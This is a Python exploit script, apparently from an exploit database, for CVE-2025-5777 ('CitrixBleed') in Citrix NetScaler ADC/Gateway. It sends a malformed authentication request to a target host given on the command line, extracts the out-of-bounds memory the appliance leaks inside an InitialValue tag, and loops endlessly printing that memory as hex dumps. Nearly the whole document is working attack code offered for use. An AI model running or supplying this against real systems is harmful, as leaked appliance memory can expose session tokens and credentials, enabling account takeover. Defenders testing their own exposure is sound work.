# Exploit Title: Citrix NetScaler ADC/Gateway 14.1 - Memory Disclosure
# Exploit Author: Yesith Alvarez
# Vendor Homepage: hhttps://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX693420
# CVE: CVE-2025-5777
# Link: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
import re
import sys
import warnings
import requests
from time import sleep
from requests.packages.urllib3.exceptions import InsecureRequestWarning
def title():
print(r'''
______ _______ ____ ___ ____ ____ ____ _____ _____ _____
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| | ___|___ |___ |___ |
| | \ \ / /| _| _____ __) | | | |__) |___ \ ____|___ \ / / / / / /
| |___ \ V / | |__|_____/ __/| |_| / __/ ___) |_____|__) |/ / / / / /
\____| \_/ |_____| |_____|\___/_____|____/ |____//_/ /_/ /_/
[+] CitrixBleed - Memory Disclosure (Out-of-Bounds Read)
[+] Author: Yesith Alvarez
[+] Github: https://github.com/yealvarez
[+] Linkedin: https://www.linkedin.com/in/pentester-ethicalhacker/
[+] Code improvements: https://github.com/yealvarez/CVE/blob/main/CVE-2025-5777/exploit.py
''')
def print_hex(data: bytes):
for i in range(0, len(data), 16):
chunk = data[i:i+16]
hex_part = " ".join(f"{b:02X}" for b in chunk)
ascii_part = "".join(chr(b) if 32 <= b <= 126 else "." for b in chunk)
print("{:08X}".format(i) + " " + "{:<47}".format(hex_part) + " " + ascii_part)
def extraction(blob: bytes) -> bytes | None:
OpenInitialValue = "<InitialValue>".encode("utf-8")
closenitialValue = "</InitialValue>".encode("utf-8")
matched = "(.*?)".encode("utf-8")
extract = re.compile(re.escape(OpenInitialValue) + matched + re.escape(closenitialValue),flags=re.DOTALL | re.IGNORECASE)
m = extract.search(blob)
return None if m is None else m.group(1)
def exploit(target: str):
url = "https://"+target+"/p/u/doAuthentication.do"
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
}
try:
resp = requests.post(
url,
data="login".encode("utf-8"),
headers=headers,
timeout=15,
verify=False,
)
resp.raise_for_status()
except Exception as e:
print("["+target+"] Error No Vulnerable: " + str(e))
return
binary = extraction(resp.content)
if binary is None:
print("["+target+"] Connection Error ")
return
print("\n[+] Captured "+str(len(binary))+" bytes from the Target ["+target+"]:\n")
print_hex(binary)
if __name__ == '__main__':
warnings.simplefilter("ignore", InsecureRequestWarning)
title()
if len(sys.argv) < 2:
print('[+] USAGE: python3'+sys.argv[0]+' <target.host>\n')
print('[+] Example: python3'+sys.argv[0]+' 10.10.10.10\n')
sys.exit(0)
else:
target = sys.argv[1]
try:
while True:
exploit(target)
except KeyboardInterrupt:
print("\n[+] Stopped by user.")